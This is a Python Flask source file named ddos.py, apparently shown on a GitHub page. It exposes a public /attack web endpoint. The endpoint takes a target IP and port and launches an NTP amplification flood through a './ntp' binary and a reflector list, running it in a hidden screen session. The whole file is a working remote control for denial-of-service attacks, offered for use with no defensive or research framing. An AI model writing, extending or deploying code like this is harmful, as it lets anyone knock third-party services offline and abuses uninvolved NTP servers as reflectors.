-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathddos.py
76 lines (61 loc) · 2.08 KB
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from flask import Flask, request, jsonify
import subprocess
import string
import random
import threading
import time
import os
app = Flask(__name__)
# 配置 Flask 监听的端口
PORT = 5000
def generate_screen_name(prefix="ntp_", length=8):
"""生成一个随机的 screen 名称"""
chars = string.ascii_letters + string.digits
return prefix + ''.join(random.choice(chars) for _ in range(length))
def validate_ip(ip):
"""简单的 IP 地址验证"""
parts = ip.split('.')
if len(parts) != 4:
return False
for item in parts:
if not item.isdigit():
return False
num = int(item)
if num < 0 or num > 255:
return False
return True
def validate_port(port):
"""简单的端口号验证"""
if not port.isdigit():
return False
num = int(port)
return 1 <= num <= 65535
@app.route('/attack', methods=['GET'])
def attack():
ip = request.args.get('ip')
port = request.args.get('port')
# 验证参数
if not ip or not port:
return jsonify({"error": "Missing 'ip' or 'port' parameter"}), 400
if not validate_ip(ip):
return jsonify({"error": "Invalid IP address"}), 400
if not validate_port(port):
return jsonify({"error": "Invalid port number"}), 400
# 生成随机的 screen 名称
screen_name = generate_screen_name()
# 构建要执行的命令
# 使用 timeout 确保命令在 60 秒后终止
command = f"timeout 60s ./ntp {ip} {port} ntpamp.txt 100 -1 60"
# 启动 screen 会话并在其中执行命令
try:
subprocess.Popen(['screen', '-dmS', screen_name, 'bash', '-c', command])
except Exception as e:
return jsonify({"error": f"Failed to start attack: {str(e)}"}), 500
return jsonify({"message": f"Attack started with screen session '{screen_name}'"}), 200
if __name__ == '__main__':
# 确保 ntp 脚本具有执行权限
if not os.access('./ntp', os.X_OK):
print("Error: './ntp' is not executable or not found.")
exit(1)
# 启动 Flask 应用
app.run(host='0.0.0.0', port=PORT)